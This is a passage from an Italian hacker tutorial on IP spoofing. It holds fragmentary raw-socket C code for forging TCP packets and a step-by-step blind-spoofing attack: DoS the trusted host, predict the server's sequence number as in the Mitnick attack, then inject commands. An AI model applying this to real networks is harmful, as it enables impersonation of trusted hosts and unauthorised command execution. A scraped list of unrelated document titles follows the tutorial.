26 perror("setsockopt() "); exit(-1); ip->version = 4; ip->ihl = 5; ip->tot_len = sizeof(struct tcphdr) + sizeof(struct iphdr); ip->id = htons(5555); ip->frag_off = 0; ip->ttl = 64; ip->protocol = IPPROTO_TCP; ip->daddr = inet_addr(""); // inserite ip destinazione ip->saddr = inet_addr(""); // inserite ip sorgente ip->check = in_cksum((unsigned short *) &ip, ip->tot_len,0); memset(&psdtcp, 0, sizeof(struct pseudotcp)); psdtcp.source=ip->saddr; psdtcp.dest = ip->daddr; psdtcp.zero_byte = 0; psdtcp.protocol = IPPROTO_TCP; psdtcp.len = htons(sizeof(struct tcphdr)+ len); tcp->source = htons(); //inserite porta sorgente tcp->dest = htons(); // inserite porta destinazione tcp->seq = htonl(); // inserite numero SEQ tcp->ack_seq = htonl(); // inserite numero ack tcp->doff = 5; tcp->syn = 0; tcp->ack = 1; tcp->psh = 1; tcp->urg = 0; tcp->fin = 0; tcp->check = 0; tcp->window = htons(32767); memcpy(msg, data, len); tcp->check = csum_tcpudp_nofold(psdtcp.source,psdtcp.dest,psdtcp.len,psdtcp.protocol, (int)&psdtcp); if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct tcphdr) + len,0,(struct sockaddr *) &sin, sizeof(sin)) < 0) perror("sendto()"); exit(-1); Pagina 26
27 return(0); / rawsock.c / 8.0 IP SPOOFING CIECO Ce labbiamo fatta ad arrivare allultimo argomento:lip-spoofing cieco. E mooooooolto difficile,se non impossibile riuscire a portare a buon fine questo attacco,in quanto non siamo sul tragitto dei pacchetti o su una lan. Mbè? Questo è un bel problema! Vediamo questo esempio: C > S C C1 è lhost fidato; S è il server; C2 siamo noi. Partiamo dal principio:ci sono alcuni server che permettono agli host fidati un accesso privilegiato,senza password o cose del genere. Basterebbe quindi connettersi ad S impersonando C1 per poi eseguire comandi al suo posto. I problemi sono fondamentalmente due: 1) Se ci connettiamo a S impersonando C1,S manderà i pacchetti di risposta a C1,che a sua volta dirà ad S (tramite un RST) che lui non ha tentato di aprire una connessione:morale dei fatti,non ci potremmo connettere, in quanto avremmo in risposta da S un bel RST. 2) Ricordando il 3 way handshake: CLIENT SYN (ISNa) > <------SYN (ISNb)/ACK (ISNa+1) SERVER ACK (ISNb+1) > Se ci proviamo a connettere non sapremo il SEQ number del secondo pacchetto (in quanto S lo invierà a C1) e quindi non potremo continuare la connessione. 8.1 RST? L0L! Il primo problema (Se così si può chiamare),è risolvibile in pochissimi passi:basta impedire al C1 di rispondere a pacchetti inviati (nel nostro caso da S). Come? La cosa è molto facile:basta un qualunque tipo di DoS. Se non sapete come farlo,leggetevi la mia fantastica guida sui DoS su In particolare potrete utilizzare la tecnica syn-floof...ma non è questo il doc in cui parlarne. Passiamo il secondo problema! Pagina 27
28 8.2 SCALDATE LE CALCOLATRICI Il perché del titolo? Presto la saprete! :D Come si può predire il SEQ number e vari? LISN viene generato in diversi modi: - in base alla regola dei 64k - in base al tempo - random LA REGOLA DEI 64K Questo è il metodo più utilizzato per la generazione dellisn. Consiste nellaumentare di ogni secondo lisn,oppure nel caso di una connessione di Questo tipo di incremento è stato sfruttato da Mitnick per il suo attacco IN BASE AL TEMPO Questo metodo incrementa,dopo la generazione pseudo random allavvio della macchina,di una costante variabile ogni tot di tempo. Solitamente i server microsoft utilizzano questo tipo di metodo RANDOM Questo tipo di generazione è pressoché impossibile da prevedere (almeno credo) e genera ISN di numero diverso ogni volta. Utilizzato nelle nuove versioni del kernel linux. 8.3 CALCOLARE IL SEQ Come avrete capito calcolarsi il SEQ è molto difficile,soprattutto ora,che in molti server linux questo viene calcolato in modo random diventa impossibile. Vediamo comunque come calcolarlo. Per capire se è il metodo dei 64k basta prendere due pacchetti ricevuti e vedere se la differenza di questi due è ,oppure vedere se uno dei due numeri è divisibile per Prendiamo ad esempio il celebre attacco di Mitnick (il server utilizzava la regola dei 64k): (ho chiamato C il client e S il server per comodità) C.1000 > S.shell: S : (0) S.shell > C.1000: S : (0) ack C.1000 > S.shell: R : (0) C.1001 > S.shell: S : (0) S.shell > C.1001: S : (0) ack C.1001 > S.shell: R : (0) Pagina 28
29 Facciamo la differenza tra i due pacchetti: = Oppure possiamo dividere uno dei due per 64000: / = Quindi il server utilizza la regola dei 64k. Se il server utilizza la regola del tempo,la cosa diventa complicata:bisogna inviare diversi pacchetti,vedere il tempo in cui arriva la risposta e il rispettivo SEQ. Fare la differenza tra due SEQ,la differenza tra i due intervalli di tempo e dividerli per il risultato ottenuto con i SEQ. Questo risultato sarà la costante di incremento. Se questo risulta uguale per un po di pacchetti inviati,questo vorrà dire che utilizza il metodo del tempo. Esempio teorico: tempo_1; tempo_2; SEQ_1; SEQ_2; SEQ_2 SEQ_1 = SEQ tempo_2 tempo_2 = tempo tempo / SEQ = costante Se anche questo non funziona,vorrà dire che il server utilizza il metodo random e bisogna quindi rinunciare allattacco. 8.4 ATTACCO Allora vediamo un possibile attacco,prendendo la situazione di prima e dopo aver capito il metodo di generazione ISN: - C2 flooda C1; - C2 invia un pacchetto SYN a S con lip di C1; - S invierà un pacchetto SYN/ACK a C1 di cui noi non sapremo niente (ricordatevi che non siamo sul traffico); - C2 manderà un pacchetto ACK,il cui SEQ sarà calcolato in base al metodo di generazione di S; - stabilita la connessione invierà dei dati a lui favorevoli; E bene che capiate che non è possibile effettuare hijacking in questo tipo di ip-spoofing,in quanto bisognerebbe conoscere il traffico dei pacchetti. E ricordate:questo tipo di ip-spoofing è utopia (ai nostri tempi)! :D Pagina 29
30 9.0 FINE? Bene,larticolo è finito:spero sia stato di vostro gradimento,che vi sia piaciuta tutta la pratica oltre la teoria e spero che siate riusciti a comprendere questo fantastico argomento:lip-spoofing. Per qualunque cosa potete contattarmi allindirizzo [email protected] oppure su irc (irc.azzurra.org) nei seguenti canali: #ondaquadra #spine #hacklab #C #hack4freedom 9.1 RINGRAZIAMENTI Per prima cosa ringrazio hacklab ( per lo spazio concessomi. Ringrazio tutti quelli che mi hanno seguito,in particolare mydecay ciao myde :*. Saluto poi tutti quelli di irc:overip,izzy,traktopel,tiger87,mydecay,eazy,khlero,zast,cartesio e tutti gli altri di hacklab. Ciao a tutti,alla prossima! :* styx^ FINITO DI SCRIVERE IL: 11/12/ Pagina 30
TCP: trasmissione Source port [16 bit] - Identifica il numero di porta sull'host mittente associato alla connessione TCP. Destination port [16 bit] - Identifica il numero di porta sull'host destinatario
Transmission Control Protocol
Transmission Control Protocol Franco Callegati Franco Callegati IC3N 2000 N. 1 Transmission Control Protocol - RFC 793 Protocollo di tipo connection-oriented Ha lo scopo di realizzare una comunicazione
Con accesso remoto s'intende la possibilità di accedere ad uno o più Personal Computer con un modem ed una linea telefonica.
Tecnologie informatiche ACCESSO REMOTO CON WINDOWS Con accesso remoto s'intende la possibilità di accedere ad uno o più Personal Computer con un modem ed una linea telefonica. Un esempio di tale servizio
Socket TCP. prima parte
Socket TCP prima parte Cosa cambia: socket int fd = socket(pf_inet, SOCK_STREAM, 0); if (fd
Determinare la grandezza della sottorete
Determinare la grandezza della sottorete Ogni rete IP possiede due indirizzi non assegnabili direttamente agli host l indirizzo della rete a cui appartiene e l'indirizzo di broadcast. Quando si creano
Per scrivere una procedura che non deve restituire nessun valore e deve solo contenere le informazioni per le modalità delle porte e controlli
CODICE Le fonti in cui si possono trovare tutorial o esempi di progetti utilizzati con Arduino si trovano nel sito ufficiale di Arduino, oppure nei forum di domotica e robotica. Il codice utilizzato per
I/O su Socket TCP: read()
I/O su Socket TCP: read() I socket TCP, una volta che la connessione TCP sia stata instaurata, sono accedibili come se fossero dei file, mediante un descrittore di file (un intero) ottenuto tramite una
Basic Sniffer Tutorial
Basic Sniffer Tutorial LnZ Aspinall S.P.I.N.E. Research Group April 2, 2003 Abstract Con questo semplice esempio cerchero di mostrarvi l uso di base delle
Da: http://guide.aiutamici.com/guide?c1=7&c2=15&id=75084
Da: http://guide.aiutamici.com/guide?c1=7&c2=15&id=75084 Spazio web gratuito Per poter pubblicare il proprio sito su internet, si deve disporre di uno spazio web, se non ne abbiamo già uno lo dobbiamo
J+... J+3 J+2 J+1 K+1 K+2 K+3 K+...
Setup delle ConnessioniTCP Una connessione TCP viene instaurata con le seguenti fasi, che formano il Three-Way Handshake (perchè formato da almeno 3 pacchetti trasmessi): 1) il server si predispone ad
1. RETI INFORMATICHE CORSO DI LAUREA IN INGEGNERIA INFORMATICA SPECIFICHE DI PROGETTO A.A. 2013/2014. 1.1 Lato client
RETI INFORMATICHE - SPECIFICHE DI PROGETTO A.A. 2013/2014 1. RETI INFORMATICHE CORSO DI LAUREA IN INGEGNERIA INFORMATICA SPECIFICHE DI PROGETTO A.A. 2013/2014 Il progetto consiste nello sviluppo di un
4 - Il livello di trasporto
Università di Bergamo Dipartimento di Ingegneria Gestionale e dell Informazione 4 - Il livello di trasporto Architetture e Protocolli per Internet Servizio di trasporto il livello di trasporto ha il compito
Protocolli di Comunicazione
Protocolli di Comunicazione La rete Internet si è sviluppata al di fuori dal modello ISO-OSI e presenta una struttura solo parzialmente aderente al modello OSI. L'architettura di rete Internet Protocol
Modulo 4 Il pannello amministrativo dell'hosting e il database per Wordpress
Copyright Andrea Giavara wppratico.com Modulo 4 Il pannello amministrativo dell'hosting e il database per Wordpress 1. Il pannello amministrativo 2. I dati importanti 3. Creare il database - Cpanel - Plesk
2 Fortino Lugi. Figura Errore. Nel documento non esiste testo dello stile specificato.-3 -- Finestra attiva o nuovo documento
1 Fortino Lugi STAMPA UNIONE OFFICE 2000 Vi sarà capitato sicuramente di ricevere lettere pubblicitarie indirizzate personalmente a voi; ovviamente quelle missive non sono state scritte a mano, ma utilizzando
Elementi sull uso dei firewall
Laboratorio di Reti di Calcolatori Elementi sull uso dei firewall Carlo Mastroianni Firewall Un firewall è una combinazione di hardware e software che protegge una sottorete dal resto di Internet Il firewall
IP (Internet Protocol) sta al livello 2 della scala Tcp/Ip o al livello 3 della scala ISO/OSI. Un indirizzo IP identifica in modo logico (non fisico
IP e subnetting Ip IP (Internet Protocol) sta al livello 2 della scala Tcp/Ip o al livello 3 della scala ISO/OSI. Un indirizzo IP identifica in modo logico (non fisico come nel caso del MAC Address) una
Guida Tecnica. Come visionare da internet anche dietro un IP dinamico i dvr Brahms.
Guida Tecnica Come visionare da internet anche dietro un IP dinamico i dvr Brahms. Lo scopo di questa guida e di spiegare, in maniera semplice ci auguriamo, come connettersi ai DVR Brahms indicati sotto
File, Modifica, Visualizza, Strumenti, Messaggio
Guida installare account in Outlook Express Introduzione Questa guida riguarda di sicuro uno dei programmi maggiormente usati oggi: il client di posta elettronica. Tutti, ormai, siamo abituati a ricevere
risulta (x) = 1 se x < 0.
Questo file si pone come obiettivo quello di mostrarvi come lo studio di una funzione reale di una variabile reale, nella cui espressione compare un qualche valore assoluto, possa essere svolto senza necessariamente
Siamo così arrivati all aritmetica modulare, ma anche a individuare alcuni aspetti di come funziona l aritmetica del calcolatore come vedremo.
DALLE PESATE ALL ARITMETICA FINITA IN BASE 2 Si è trovato, partendo da un problema concreto, che con la base 2, utilizzando alcune potenze della base, operando con solo addizioni, posso ottenere tutti
Innanzitutto, esistono diversi modi per realizzare una rete o più reti messe insieme; vi illustro la mia soluzione :
SALVE, Scrivo questo breve testo di delucidazioni a seguito di alcune richieste.. e per permettere a tutti di usare al meglio zeroshell per quanto riguarda i sistemi di video sorveglianza; é mia intenzione
Manuale per la configurazione di AziendaSoft in rete
Manuale per la configurazione di AziendaSoft in rete Data del manuale: 7/5/2013 Aggiornamento del manuale: 2.0 del 10/2/2014 Immagini tratte da Windows 7 Versione di AziendaSoft 7 Sommario 1. Premessa...
A intervalli regolari ogni router manda la sua tabella a tutti i vicini, e riceve quelle dei vicini.
Algoritmi di routing dinamici (pag.89) UdA2_L5 Nelle moderne reti si usano algoritmi dinamici, che si adattano automaticamente ai cambiamenti della rete. Questi algoritmi non sono eseguiti solo all'avvio
f(x) = 1 x. Il dominio di questa funzione è il sottoinsieme proprio di R dato da
Data una funzione reale f di variabile reale x, definita su un sottoinsieme proprio D f di R (con questo voglio dire che il dominio di f è un sottoinsieme di R che non coincide con tutto R), ci si chiede
Uso di sniffer ed intercettazione del traffico IP
Uso di sniffer ed intercettazione del traffico IP Massimo Bernaschi Istituto per le Applicazioni del Calcolo Mauro Picone Consiglio Nazionale delle Ricerche Viale del Policlinico, 137-00161 Rome - Italy
COME UTILIZZARE ARCHIVE-HOST
COME UTILIZZARE ARCHIVE-HOST Quando si costruisce un sito internet, può risultare utile avere a disposizione nella rete dello spazio di memoria personale in cui andare a caricare i files più disparati
Problematiche di Sicurezza in Ambiente Linux
ALESSIA CIRAUDO Problematiche di Sicurezza in Ambiente Linux Progetto Bari-Catania: Buone Prassi Integrative tra Università e Impresa FlashC om Durata: 2 mesi Tutor aziendale: Vincenzo Mosca Collaboratore
Buongiorno vi ringrazio nuovamente per avermi invitato sono molto lieto di assistervi nella vendita della vostra casa
A ACQUISIZIONE INCARICO PRESENTAZIONE DA 1 MINUTO Buongiorno vi ringrazio nuovamente per avermi invitato sono molto lieto di assistervi nella vendita della vostra casa Posso dare un occhiata veloce alla
INTRODUZIONE ALLE RETI: UN APPROCCIO PRATICO
INTRODUZIONE ALLE RETI: UN APPROCCIO PRATICO [email protected] Fabian Chatwin Cedrati Ogni scheda di rete ha un indirizzo MAC univoco L'indirizzo IP invece viene impostato dal Sistema Operativo HUB 00:50:DA:7D:5E:32
30 giorni di prova gratuiti, entra nel sito www.mypckey.com scarica e installa subito mypckey
DA OGGI NON IMPORTA DOVE SEI, IL TUO PC DELL UFFICIO E SEMPRE A TUA DISPOSIZIONE! Installa solo un semplice programma (nessun hardware necessario!), genera la tua chiavetta USB, e sei pronto a prendere
Sicurezza nelle reti
Sicurezza nelle reti Manipolazione indirizzi IP 1 Concetti Reti Rete IP definita dalla maschera di rete Non necessariamente concetto geografico Non è detto che macchine della stessa rete siano vicine 2
Socket. Nei sistemi operativi moderni i servizi disponibili in rete si basano principalmente sul modello client/server.
Socket Nei sistemi operativi moderni i servizi disponibili in rete si basano principalmente sul modello client/server. Tale architettura consente ai sistemi di condividere risorse e cooperare per il raggiungimento
Questa guida vi illustrerà i principali passaggi da eseguire per l'inserimento dei Bandi di gara.
Piccolo Manuale Manuale Pt 1ª Registrazione (Login) Questa guida vi illustrerà i principali passaggi da eseguire per l'inserimento dei Bandi di gara. Riceverete una email contenente: Link della vostra
Il protocollo TCP. Obiettivo. Procedura
Il protocollo TCP Obiettivo In questo esercizio studieremo il funzionamento del protocollo TCP. In particolare analizzeremo la traccia di segmenti TCP scambiati tra il vostro calcolatore ed un server remoto.
PROCEDURA INVENTARIO DI MAGAZZINO di FINE ESERCIZIO (dalla versione 3.2.0)
PROCEDURA INVENTARIO DI MAGAZZINO di FINE ESERCIZIO (dalla versione 3.2.0) (Da effettuare non prima del 01/01/2011) Le istruzioni si basano su un azienda che ha circa 1000 articoli, che utilizza l ultimo
Sicurezza delle reti. Monga. Ricognizione. Scanning Breve ripasso socket Network mapping Port Scanning NMAP. Le tecniche di scanning
Sicurezza dei sistemi e delle 1 Mattia Dip. di Informatica Università degli Studi di Milano, Italia [email protected] Port Lezione V: Scansioni Port a.a. 2015/16 1 cba 2011 15 M.. Creative Commons
progecad NLM Guida all uso Rel. 10.2
progecad NLM Guida all uso Rel. 10.2 Indice Indice... 2 Introduzione... 3 Come Iniziare... 3 Installare progecad NLM Server... 3 Registrare progecad NLM Server... 3 Aggiungere e attivare le licenze...
Vlan Relazione di Sistemi e Reti Cenni teorici
Cosa sono le Vlan? Vlan Relazione di Sistemi e Reti Cenni teorici Le Vlan sono un tipo di rete particolare che permettono di creare tante reti logiche a partire da una singola rete fisica. Questo significa
ISTRUZIONI PER L INSTALLAZIONE DI MINGW
ISTRUZIONI PER L INSTALLAZIONE DI MINGW Prima di iniziare la procedura di installazione di MinGW dobbiamo dire che il presente software è un compilatore C che non possiede un ambiente di programmazione.
Socket TCP. seconda parte
Socket TCP seconda parte Schema della connessione Computer 1 127.43.18.1 indirizzo I1 indirizzo I2 Computer 2 143.225.5.3 porta 45000 socket porta 5200 socket processo client processo server socket(...)
Cenni di programmazione distribuita in C++ Mauro Piccolo [email protected]
Cenni di programmazione distribuita in C++ Mauro Piccolo [email protected] Socket Nei sistemi operativi moderni i servizi disponibili in rete si basano principalmente sul modello client/server. Tale
Esempio 1: stampa locale di file remoto
Alcuni esempi di uso di Socket Esempio 1: stampa locale di file remoto Visualizzazione locale del contenuto di un file remoto. Il client deve richiedere la creazione della connessione e successivamente
4.1.1.1 APRIRE UN PROGRAMMA DI FOGLIO ELETTRONICO
4.1 PER INIZIARE 4.1.1 PRIMI PASSI COL FOGLIO ELETTRONICO 4.1.1.1 APRIRE UN PROGRAMMA DI FOGLIO ELETTRONICO L icona del vostro programma Excel può trovarsi sul desktop come in figura. In questo caso basta
Firewall e NAT A.A. 2005/2006. Walter Cerroni. Protezione di host: personal firewall
Firewall e NAT A.A. 2005/2006 Walter Cerroni Protezione di host: personal firewall Un firewall è un filtro software che serve a proteggersi da accessi indesiderati provenienti dall esterno della rete Può
Introduzione alla programmazione in C
Introduzione alla programmazione in C Testi Consigliati: A. Kelley & I. Pohl C didattica e programmazione B.W. Kernighan & D. M. Ritchie Linguaggio C P. Tosoratti Introduzione all informatica Materiale
IPC System V. Code di messaggi
IPC System V Code di messaggi Panoramica coda di messaggi una lista concatenata di messaggi, FIFO semaforo un contatore condiviso, atomicamente modificabile memoria condivisa uno spazio di memoria accessibile
Introduzione ad hping
Introduzione ad hping Andrea Lanzi, Davide Marrone, Roberto Paleari Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Corso di Laurea in Informatica 10 gennaio 2007 Sommario
Convertitori numerici in Excel
ISTITUTO DI ISTRUZIONE SUPERIORE G. M. ANGIOY CARBONIA Convertitori numerici in Excel Prof. G. Ciaschetti Come attività di laboratorio, vogliamo realizzare dei convertitori numerici con Microsoft Excel
Sicurezza delle reti 1. Lezione IV: Port scanning. Stato di una porta. Port scanning. Mattia Monga. a.a. 2010/11
1 Mattia Lezione IV: Dip. di Informatica e Comunicazione Università degli Studi di Milano, Italia [email protected] a.a. 2010/11 1 c 2011 M.. Creative Commons Attribuzione-Condividi allo stesso modo
Esercitazione [6] Client/Server con Socket
Esercitazione [6] Client/Server con Socket Leonardo Aniello - [email protected] Daniele Cono D'Elia - [email protected] Sistemi di Calcolo - Secondo modulo (SC2) Programmazione dei Sistemi di
Reti di Telecomunicazione Lezione 8
Reti di Telecomunicazione Lezione 8 Marco Benini Corso di Laurea in Informatica [email protected] Livello di trasporto Programma della lezione relazione tra lo strato di trasporto e lo strato
Prova di Esame - Rete Internet (ing. Giovanni Neglia) Lunedì 7 Febbraio 2005, ore 15.00
Prova di Esame - Rete Internet (ing. Giovanni Neglia) Lunedì 7 Febbraio 2005, ore 15.00 NB: alcune domande hanno risposta multipla: si richiede di identificare TUTTE le risposte corrette. Cognome: Nome:
INTRODUZIONE I CICLI DI BORSA
www.previsioniborsa.net 1 lezione METODO CICLICO INTRODUZIONE Questo metodo e praticamente un riassunto in breve di anni di esperienza e di studi sull Analisi Tecnica di borsa con specializzazione in particolare
Maschere di sottorete a lunghezza variabile
Sottoreti Il CIDR (Classless Inter-Domain Routing) è un nuovo schema di indirizzamento introdotto nel 1993 per sostituire lo schema classful secondo il quale tutti gli indirizzi IP appartengono ad una
Rete Internet Prova in Itinere Mercoledì 23 Aprile 2008
Rete Internet Prova in Itinere Mercoledì 23 Aprile 2008 NB: alcune domande hanno risposta multipla: si richiede di identificare TUTTE le risposte corrette. Cognome: Nome: Corso di laurea e anno: Matricola:
Esercizi su. Funzioni
Esercizi su Funzioni ๒ Varie Tracce extra Sul sito del corso ๓ Esercizi funz_max.cc funz_fattoriale.cc ๔ Documentazione Il codice va documentato (commentato) Leggibilità Riduzione degli errori Manutenibilità
Opzioni del Socket. Socket Options. Opzioni di Livello Socket. Livello delle Opzioni
a.a. 2003/04 Opzioni del Socket Socket Options Prof. Vincenzo Auletta [email protected] http://www.dia.unisa.it/professori/auletta/ Università degli studi di Salerno Laurea in Informatica 1 Ogni socket
4 3 4 = 4 x 10 2 + 3 x 10 1 + 4 x 10 0 aaa 10 2 10 1 10 0
Rappresentazione dei numeri I numeri che siamo abituati ad utilizzare sono espressi utilizzando il sistema di numerazione decimale, che si chiama così perché utilizza 0 cifre (0,,2,3,4,5,6,7,8,9). Si dice
Introduzione allo sniffing
Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Anno Accademico 2007/2008 Introduzione allo sniffing Roberto Paleari 2-4 Settembre 2008 Roberto Paleari Introduzione
1) GESTIONE DELLE POSTAZIONI REMOTE
IMPORTAZIONE ESPORTAZIONE DATI VIA FTP Per FTP ( FILE TRANSFER PROTOCOL) si intende il protocollo di internet che permette di trasferire documenti di qualsiasi tipo tra siti differenti. Per l utilizzo
Interazione (TCP) Client-Server con le socket
Interazione (TCP) Client-Server con le socket D. Gendarmi Interazione TCP Client/Server Server 2. Assegnare un local address alla socket 3. Settare la socket all ascolto 4. Iterativamente: a. Accettare
Reti di Telecomunicazioni Mobile IP Mobile IP Internet Internet Protocol header IPv4 router host indirizzi IP, DNS URL indirizzo di rete
IP Analizziamo con sufficiente dettaglio il sistema denominato IP, usato per consentire a due computer mobili di spostarsi liberamente in altre reti pur mantenendo lo stesso indirizzo IP. In particolare,
COMUNICAZIONE TRA PROCESSI REMOTI IN UNIX
A cura del prof. Gino Tombolini 1 COMUNICAZIONE TRA PROCESSI REMOTI IN UNIX Il sistema UNIX TCP/IP fornisce un meccanismo di comunicazione tra processi residenti su nodi distinti di una rete, compatibili
Definire all'interno del codice un vettore di interi di dimensione DIM, es. int array[] = {1, 5, 2, 4, 8, 1, 1, 9, 11, 4, 12};
ESERCIZI 2 LABORATORIO Problema 1 Definire all'interno del codice un vettore di interi di dimensione DIM, es. int array[] = {1, 5, 2, 4, 8, 1, 1, 9, 11, 4, 12}; Chiede all'utente un numero e, tramite ricerca
MC-link Lan+ Connessione e configurazione del router PRESTIGE 100
MC-link Lan+ Connessione e configurazione del router PRESTIGE 100 Per la connessione del router PRESTIGE 100 ad un singolo computer è sufficiente rispettare il seguente schema: La connessione tra cavo
Prova di Esame - Rete Internet (ing. Giovanni Neglia) Prova completa Martedì 15 Novembre 2005
Prova di Esame - Rete Internet (ing. Giovanni Neglia) Prova completa Martedì 15 Novembre 2005 Si svolga il compito su questi fogli. Nel caso di domande a risposta aperta, lo spazio lasciato sul foglio
TRUCCHI PER GIMP - Elemento a colori in foto bianco e nero
TRUCCHI PER GIMP - Elemento a colori in foto bianco e nero Salve Prof. Cantaro come promesso le mando un altro articolo da poter inserire nelle sue guide. Questa volta però a differenza dell'ultima,ho
Note per scaricare e installare il software cliccando alla pagina DOWNLOAD del sito,
Come ben sapete, anch io,come voi, sono golosa di schemi,trovati in internet e nei giornali, e questo comporta, soprattutto per gli schemi virtuali, che devo cercare una soluzione per evitare che il mio
UTILIZZO REGISTRO ELETTRONICO
UTILIZZO REGISTRO ELETTRONICO 1. Aprire la cartella FileZillaPortable e cliccare due volte con il tasto destro sull'icona rossa 2. Si aprirà questa maschera: 3. Ora dovete effettuare la connessione al
Esercitazione 05. Sommario. Packet Filtering [ ICMP ] Esercitazione Descrizione generale. Angelo Di Iorio (Paolo Marinelli)
Sommario Esercitazione 05 Angelo Di Iorio (Paolo Marinelli)! Packet Filtering ICMP! Descrizione esercitazione! Applicazioni utili: " Firewall: wipfw - netfilter " Packet sniffer: wireshark!"#!$#!%&'$(%)*+,')#$-!"#!$#!%&'$(%)*+,')#$-
Come si può vedere, la regola è stata fatta in modo da spostare tutti i messaggi di Spam nella cartella del cestino.
www.playnet.it agg. Documento 1/03/2007 REGOLE DEL CLIENT Le regole del client sono un sistema di smistamento dei messaggi (arrivati) fra le varie cartelle di posta presenti sul server. Possono essere
Innanzitutto andiamo sul sito http://www.dropbox.com/ ed eseguiamo il download del programma cliccando su Download Dropbox.
Oggi parlerò di qualcosa che ha a che fare relativamente con la tecnica fotografica, ma che ci può dare una mano nella gestione dei nostri archivi digitali, soprattutto nel rapporto professionale con altre
Come condividere l accesso internet tramite chiavetta HSPDA di 3 (o altro operatore) con un Ipod Touch via WIFI
Come condividere l accesso internet tramite chiavetta HSPDA di 3 (o altro operatore) con un Ipod Touch via WIFI Premessa Abbiamo un portatile dotato di WIFI che si collega ad internet tramite una chiavetta
NOZIONI BASE SHELL E SCRIPT LINUX
NOZIONI BASE SHELL E SCRIPT LINUX Aggiornato al 11 gennaio 2006 Ermes ZANNONI ([email protected]) (http://www.zannoni.to.it) Indice : 1. Introduzione 2. La Shell 2.1 Comandida Shell 2.1.1 File e directory
Creazione Account PEC puntozeri su Outlook Express
Creazione Account PEC puntozeri su Outlook Express In questa guida viene spiegato come creare un account di posta elettronica certificata per gli utenti che hanno acquistato il servizio offerto da puntozeri.it
Reti di Telecomunicazione Lezione 7
Reti di Telecomunicazione Lezione 7 Marco Benini Corso di Laurea in Informatica [email protected] Il protocollo Programma della lezione file transfer protocol descrizione architetturale descrizione
Poi clichiamo su sistema
Come leggere file mkv o divx dal pc al vostro decoder, oppure semplicemente vedere le registrazioni fatte da altro decoder E2 Con immagine Black Hole e media player Da uno spunto di una guida di Matrix10
Come si può notare ogni richiesta ICMP Echo Request va in timeout in
Comandi di rete Utility per la verifica del corretto funzionamento della rete: ICMP Nelle procedure viste nei paragrafi precedenti si fa riferimento ad alcuni comandi, come ping e telnet, per potere verificare
Guida alla configurazione della posta elettronica dell Ateneo di Ferrara sui più comuni programmi di posta
Guida alla configurazione della posta elettronica dell Ateneo di Ferrara sui più comuni programmi di posta. Configurazione Account di posta dell Università di Ferrara con il Eudora email Eudora email può
Informatica pratica. File e cartelle
Informatica pratica File e cartelle Riassunto della puntata precedente Abbiamo visto a cosa serve un word processor: Quali sono i suoi benefici rispetto alla macchina da scrivere tradizionale Quali sono
AT1542C - CED - Tablet offline - manuale utente
Con la versione 15.0 è stata aggiunta al nostro applicativo di vendita a Tablet una nuova funzionalità: la funzionalità di vendita offline Questa modalità vi verrà in aiuto in tutte quelle situazioni in
Mac Application Manager 1.3 (SOLO PER TIGER)
Mac Application Manager 1.3 (SOLO PER TIGER) MacApplicationManager ha lo scopo di raccogliere in maniera centralizzata le informazioni piu salienti dei nostri Mac in rete e di associare a ciascun Mac i
Corso di Laurea in Ingegneria Informatica. Corso di Reti di Calcolatori I
Corso di Laurea in Ingegneria Informatica Corso di Reti di Calcolatori I Roberto Canonico ([email protected]) Giorgio Ventre ([email protected]) Il livello rete in Internet Il protocollo
HTTP adaptation layer per generico protocollo di scambio dati
HTTP adaptation layer per generico protocollo di scambio dati Sandro Cavalieri Foschini 101786 Emanuele Richiardone 101790 Programmazione in Ambienti Distribuiti I - 01FQT prof. Antonio Lioy A.A. 2002-2003
Modelli di rete aziendale port forward PAT PAT NAT + PAT NAT table
Modelli di rete aziendale Abbiamo visto che una rete aziendale deve essere composta da due parti fondamentali: la DMZ e la TRUST (devono essere due subnet diverse ovviamente). La DMZ è la parte che viene
GUIDA ALLA PROGRAMMAZIONE GRAFICA IN C
GUIDA ALLA PROGRAMMAZIONE GRAFICA IN C.:luxx:. PREMESSE In questa guida non verranno trattati i costrutti di flusso, le funzioni, o comunque le caratteristiche del linguaggio, che si danno come presupposte.
Colloquio di vendita GRUPPO TELECOM ITALIA. La gioia di vendere
Colloquio di vendita GRUPPO TELECOM ITALIA La gioia di vendere PRESENTAZIONE PERSONALE Voce alta, contatto visivo positivo e stretta di mano energetica. Buon giorno sono.. di Telecom Italia Ho un appuntamento
Socket. Nei sistemi operativi moderni i servizi disponibili in rete si basano principalmente sul modello client/server.
Socket Nei sistemi operativi moderni i servizi disponibili in rete si basano principalmente sul modello client/server. Tale architettura consente ai sistemi di condividere risorse e cooperare per il raggiungimento
FPf per Windows 3.1. Guida all uso
FPf per Windows 3.1 Guida all uso 3 Configurazione di una rete locale Versione 1.0 del 18/05/2004 Guida 03 ver 02.doc Pagina 1 Scenario di riferimento In figura è mostrata una possibile soluzione di rete
esercizi su sicurezza delle reti 2006-2008 maurizio pizzonia sicurezza dei sistemi informatici e delle reti
esercizi su sicurezza delle reti 20062008 maurizio pizzonia sicurezza dei sistemi informatici e delle reti 1 supponi i fw siano linux con iptables dai una matrice di accesso che esprima la policy qui descritta
VADEMECUM TECNICO. Per PC con sistema operativo Windows XP Windows Vista - Windows 7
VADEMECUM TECNICO Per PC con sistema operativo Windows XP Windows Vista - Windows 7 1) per poter operare in Server Farm bisogna installare dal cd predisposizione ambiente server farm i due file: setup.exe
INTERNET e RETI di CALCOLATORI A.A. 2011/2012 Capitolo 4 DHCP Dynamic Host Configuration Protocol Fausto Marcantoni fausto.marcantoni@unicam.
Laurea in INFORMATICA INTERNET e RETI di CALCOLATORI A.A. 2011/2012 Capitolo 4 Dynamic Host Configuration Protocol [email protected] Prima di iniziare... Gli indirizzi IP privati possono essere
Invio SMS. DM Board ICS Invio SMS
Invio SMS In questo programma proveremo ad inviare un SMS ad ogni pressione di uno dei 2 tasti della DM Board ICS. Per prima cosa creiamo un nuovo progetto premendo sul pulsante (Create new project): dove
Tutte le interrogazioni possono essere condotte su qualsiasi campo della banca dati (ad esempio, Forma, Frequenza, Lunghezza, ecc...).
ESEMPIO DI QUERY SUL FILE Formario_minuscolo Tutte le interrogazioni possono essere condotte su qualsiasi campo della banca dati (ad esempio, Forma, Frequenza, Lunghezza, ecc...). Durante l interrogazione,
